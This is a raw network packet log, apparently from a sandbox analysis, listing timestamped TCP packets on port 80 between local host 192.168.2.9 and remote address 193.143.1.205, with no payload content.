Jan 10, 2025 21:25:05.123985052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123987913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.123987913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.123997927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.124037981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.124037981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.145658016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.149295092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.175163031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175173998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175184965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175194979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175208092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175219059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175231934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175240993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.175332069 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.175355911 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.209539890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209553957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209566116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209577084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209613085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.209650993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209661961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209664106 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.209675074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209686041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209697962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209714890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209721088 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.209729910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209738016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.209780931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.209948063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209959030 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.209969997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210006952 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.210026026 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.210076094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210087061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210097075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210108042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210150003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.210180044 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.210210085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210222006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210232019 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.210270882 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.234833002 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.247837067 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250401020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250417948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250430107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250438929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250463009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250475883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250480890 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250488043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250499964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250510931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250523090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250526905 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250533104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250545979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250562906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250576973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250588894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250600100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250602961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250602961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250611067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250622988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250636101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250647068 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250648022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250674963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250818014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250828028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250838995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250864029 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250883102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.250941992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250957966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250973940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250986099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.250998020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251008034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251044035 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251044035 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251071930 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251081944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251089096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251106977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251117945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251135111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251135111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251147032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251157045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251168966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251179934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251189947 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251189947 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251192093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251204014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251220942 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251358986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251779079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251790047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251806974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251817942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251826048 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251827955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251858950 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251859903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251872063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251882076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251888990 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251907110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251925945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251925945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251938105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251946926 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.251950026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251964092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251981974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.251991987 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.252041101 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253648043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253707886 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253729105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253740072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253750086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253770113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253781080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253791094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253801107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253810883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253814936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253814936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253822088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253839016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253863096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253874063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253882885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253885031 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253894091 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253911018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253922939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253931999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253937006 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253937006 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253943920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253953934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253966093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.253985882 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253985882 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.253999949 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.254182100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254193068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254210949 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254223108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254231930 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254242897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254251957 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.254262924 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.254266977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254278898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254292011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254298925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.254302025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.254313946 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.254343987 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.265975952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.265985966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266001940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266015053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266024113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266057968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266074896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.266103983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266114950 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266124964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.266141891 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.266195059 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.266208887 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.300499916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300512075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300523043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300627947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300637960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300645113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.300652027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300662994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300674915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300759077 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.300770998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300812006 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.300864935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300875902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300887108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300895929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300906897 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.300906897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300929070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300940037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300950050 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.300950050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300965071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300976038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.300995111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.300995111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.301002979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.301007986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.301032066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.301103115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.307337999 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.311188936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.344665051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344676018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344707012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344780922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344818115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.344831944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344876051 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.344927073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344938993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344950914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344955921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344968081 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344981909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.344993114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345010996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345055103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345055103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345071077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345076084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345088959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345093966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345101118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345149994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345155954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345216036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345216036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345216036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345279932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345288038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345299006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345304966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345309973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345319986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345334053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345340967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345349073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345354080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345360041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345366955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345387936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345387936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345427036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345844030 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345860004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345876932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345884085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345897913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345906973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345907927 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345949888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345957994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.345995903 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.345995903 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346023083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346064091 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346120119 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346210957 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346220016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346226931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346240044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346246004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346254110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346266031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346271992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346280098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346292019 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346333027 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346344948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346412897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346424103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346431971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346436977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346486092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346486092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346560001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346566916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346580029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346585989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346652031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346669912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346681118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346687078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346723080 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346723080 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346784115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346798897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346813917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346818924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346824884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346911907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346913099 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.346949100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.346956015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347059965 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347326040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347331047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347398043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347404003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347407103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347424984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347430944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347443104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347449064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347455025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347496986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347496986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347496986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347534895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347542048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347548008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347592115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347592115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347629070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347635031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347647905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347651958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347680092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347739935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.347831011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347846031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347851992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.347862959 CET	80	49707	193.143.1.205	192.168.2.9
